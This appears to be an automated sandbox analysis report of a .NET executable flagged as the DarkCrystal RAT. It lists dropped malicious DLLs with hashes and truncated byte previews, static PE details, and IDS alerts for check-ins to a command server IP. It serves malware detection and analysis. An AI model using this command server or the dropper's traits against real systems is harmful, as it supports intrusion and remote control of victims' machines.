Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\wsOrhbIJ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xHZssejW.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	64000
Entropy (8bit):	5.857602289000348
Encrypted:	false
SSDEEP:	768:TDPfhHfT/9IvAgoeA2U7dtZLr6SWB6/BYklKbz4Xgs7RlkUC4M+JVvTkgny:TD3Jbf2UQoBYHfSRRRC4BvPny
MD5:	5EE7E079F998F80293B3467CE6A5B4AE
SHA1:	3C0932D48F3542E9DFB09AD9E1FF70891A038532
SHA-256:	A3AE7E97703E694C479E3B460F89C16B4A511626E351145532D1A2F3BA051779
SHA-512:	056F03CB02A8A994461A5A26C2D738EE39E5AE49462222AD4937DD1CB9F29C6567D2E368EFB7844E8779B3EB3EB5D87DACDE5E3D24DF8227194DDC2E0556FF8D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ................N.... ... ....@.. .......................`......E.....@.....................................W.... .......................@....................................................... ............... ..H............text...T.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................0.......H...........\|...................................................................................................................................................................................7.pO`....<o ..F................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xOrrZDRn.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\xgyKnYKq.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xkYbKhNl.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	342528
Entropy (8bit):	6.170134230759619
Encrypted:	false
SSDEEP:	3072:YMRFbwlz0otnh0efcZBU/fbF+pzZDrpSToDxcLQcm+xCjNS3RaCtXAOZrNM1Ge6q:uhj/zQD9SocLQDchaUXAiNM1C3HuiH
MD5:	9DADB5C8A6FD5020275C31EE6BC61D63
SHA1:	ACE09D19F7DBB98F5C844E77F29A5D86E544CCC1
SHA-256:	80E21E05386AB5BF7BCFD745146700E2A73D808CAFDE3F1DAA256D09BCF4522F
SHA-512:	EDB9F8B4A3742AFD344B3E4957CD6A8574FA82EB49B45E75627180C42B51F9C019E241D695BAF0AAA36EE6959CE297C358BC592F2EE31B0BB5EA19FEED67FC7D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l..d.........." .....2...........P... ...`....@.. ...................................@.................................LP..O....`............................................................................... ............... ..H............text....0... ...2.................. ..`.rsrc........`.......4..............@..@.reloc...............8..............@..B.................P......H............p..................................................................................................................................................................................GJ2....mj..R...................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xvPIrmGV.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\yEAAOeyR.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\ylQifTUJ.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.699005826018714
Encrypted:	false
SSDEEP:	768:bvTf5JA7rmkHDkK6/X7rpCA0U4oW+YcSNdb/deQoCDKmc:bTffImkjkK6/QAhaceb/dum
MD5:	87765D141228784AE91334BAE25AD743
SHA1:	442BA48B1B5BB158E2E6145B0592F81D20CB9C57
SHA-256:	9A121719F71383CF66FC36453679B36C8D24CC61EB335D0C304536E5D72AAAEB
SHA-512:	77FF7244F4E181A1F2B69A8814E1EFC0B7B55CD551B8D22F5A08039156295F6417D0E2E58265F1C07F8EA2BA3B24D9810B4B3E91B13943688C7450F736746657
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...c..d...........!..................... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......Dm...?..........<l......................................................................................................................................................................Q[..u.......;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zReaumVj.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zTojkKNX.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zfzIrCEh.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\zldaSYtH.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	126976
Entropy (8bit):	6.057993947082715
Encrypted:	false
SSDEEP:	3072:V2IJq7YkHFJwBTZtHrC/0/FHkINvdF+nTCkjk1U+1:V2IJq7YbrFHkIrgnTQ
MD5:	16B480082780CC1D8C23FB05468F64E7
SHA1:	6FDDF86F9F0FBAA189F5CB79E44999A3F1AC2B26
SHA-256:	7A080D8BD178EC02C7F39F7F941479074C450C4FDD8E963C993D2FB5537C7708
SHA-512:	A165BB5D7972DE124F670BCAC20B4A46727B7CF27D1ED925D02F7CC7C79D7D04122D7C202C67D7EAE798348E8D481F085282EB5B89D84B902607D7EB1155BA19
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." ..................... ... ....@.. .......................`......:.....@.....................................O.... .......................@....................................................... ............... ..H............text...$.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H...........(...........<...h.........................................................@.......0.................................................................................................................................Y........;~..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................

C:\Users\user\Desktop\zntiAIEO.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zsrQNmVQ.log

Download File

Process:	C:\Users\user\Desktop\ZT3pxe2Tb4.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zuGjoWSN.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zzDSBAiP.log

Download File

Process:	C:\Users\user\AppData\Local\fontdrvhost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.806609674329235
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXVWau4WmvpuVuWxRvj:Vx993DEUwXPk4c
MD5:	A29ACE2D99978DBFEF3D67A425745BC7
SHA1:	86E98F3C099A62118C7ABDDBFB623A0D58A285DD
SHA-256:	902FFEA081704AC6647F828CADBFBB737B3D64BA1E84C31C9A086BFBA854B686
SHA-512:	64E694C07062E0A8B42A4A92317809E8BC209BCD2B2CDBCDB3BEFA592B9E2C8E449893EEAF6FA8C21F78F3437D173F792D764289B38E1050B3F4532BA22B356D
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 29/03/2024 09:09:33..09:09:33, error: 0x80072746.09:09:38, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.822210869380534
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	ZT3pxe2Tb4.exe
File size:	3'672'576 bytes
MD5:	4164d5955c244ff266c1cc41013fe21a
SHA1:	cd4b6caab8b3762d3af3b7ad738f51d2e92c2d34
SHA256:	138905d6721c1e6b174b6f61154a938565c9bd5c6b5b0abe8274054bf151da9c
SHA512:	fa321be81dcb76d26aca25e1aa82145204acdbd94026556f1031b6d29176096abf7de47c36dabd8a4c1c578b3bea04e31a639481fb3890c593e597720e14e444
SSDEEP:	98304:ce0NRfHctOXBignPFAfL7B71KHijptuNMsZ:c1lckBiKPJCVt4Z
TLSH:	1406E10696714E73C1A47F72C4E7082D92E09B667623EF1B371F50D9A8232718B571FA
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e..................8.......... 8.. ...@8...@.. ........................8...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x7820fe
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3820b0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x384000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x386000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x380104	0x380200	0fbf4c3f1828842ffbf90db81458e910	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x384000	0x370	0x400	decdc6cf86f7b728495e0907c027ea84	False	0.3759765625	data	2.8622309503628585	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.reloc	0x386000	0xc	0x200	951104bb5b7192bb5a0993d168e100ca	False	0.041015625	MacBinary, Mon Feb 6 07:28:16 2040 INVALID date, modified Mon Feb 6 07:28:16 2040 "8"	0.08153941234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x384058	0x318	data			0.44823232323232326

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
03/29/24-07:38:03.072563	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49745	80	192.168.2.4	89.23.98.225
03/29/24-07:37:10.589011	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49731	80	192.168.2.4	89.23.98.225
03/29/24-07:37:41.258721	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49742	80	192.168.2.4	89.23.98.225
03/29/24-07:37:01.421586	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49730	80	192.168.2.4	89.23.98.225
03/29/24-07:37:37.301200	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49741	80	192.168.2.4	89.23.98.225
03/29/24-07:38:15.792609	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49746	80	192.168.2.4	89.23.98.225
03/29/24-07:37:55.065041	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49744	80	192.168.2.4	89.23.98.225
03/29/24-07:37:32.317096	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49740	80	192.168.2.4	89.23.98.225
03/29/24-07:38:55.054545	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49749	80	192.168.2.4	89.23.98.225
03/29/24-07:37:19.143924	TCP	2048095	ET TROJAN [ANY.RUN] DarkCrystal Rat Check-in (POST)	49738	80	192.168.2.4	89.23.98.225

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 29, 2024 07:37:01.181196928 CET	49730	80	192.168.2.4	89.23.98.225
